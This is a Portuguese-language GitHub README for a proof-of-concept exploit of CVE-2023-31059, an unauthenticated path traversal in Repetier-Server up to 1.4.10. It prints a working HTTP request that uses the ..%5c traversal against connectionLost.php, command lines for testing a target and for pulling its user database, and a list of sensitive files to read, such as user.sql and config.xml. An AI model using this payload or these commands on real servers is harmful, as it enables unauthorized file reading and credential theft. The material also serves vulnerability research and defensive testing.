mbanyamer/cve-2023-31059-repetier-server-1.4.10-unauthenticated-path-traversalExploit de prova de conceito para CVE-2023-31059, um path traversal não autenticado no Repetier-Server ≤1.4.10, permitindo leitura arbitrária de arquivos através de requisições HTTP manipuladas.
Autor: Mohammed Idrees Banyamer
Função: Pesquisador de Segurança
País: Jordânia 🇯🇴
Exploit de prova de conceito para uma vulnerabilidade de path traversal remoto / LFI não autenticado no Repetier‑Server ≤ 1.4.10.
A vulnerabilidade permite leitura arbitrária de arquivos através de sequências ..%5c manipuladas no endpoint connectionLost.php.
| Campo | Valor |
|---|
| Produto | Repetier‑Server |
| Afetado | ≤ 1.4.10 |
| CVE | CVE‑2023‑31059 |
| Tipo | Path Traversal / LFI |
| Autenticação | Nenhuma |
| Vetor | Rede |
| Impacto | Leitura Arbitrária de Arquivos |
| CVSS | 9.8 Crítico |
flowchart LR
A[Attacker] -->|HTTP request with ..%5c traversal| B[Repetier Server]
B --> C[base/connectionLost.php]
C -->|Unsanitized file parameter| D[Windows Filesystem]
D --> E[Sensitive File]
E --> B
B -->|File contents in HTTP response| AGET /base/connectionLost.php?file=..%5c..%5cWindows%5cwin.ini HTTP/1.1
Host: target:3344
# Test vulnerability
python3 CVE-2023-31059.py http://<target-ip>:3344/ --test
# Extract user database
python3 CVE-2023-31059.py http://<target-ip>:3344/ \
--file "ProgramData\\Repetier-Server\\database\\user.sql" \
--depth 20
pip install requests
ProgramData\Repetier-Server\database\user.sql
ProgramData\Repetier-Server\config.xml
Windows\win.ini
Windows\System32\drivers\etc\hosts
Este PoC é fornecido apenas para fins educacionais e de teste de segurança autorizado. Use apenas em sistemas que você possui ou para os quais tenha permissão explícita para testar.
GitHub: https://github.com/mbanyamer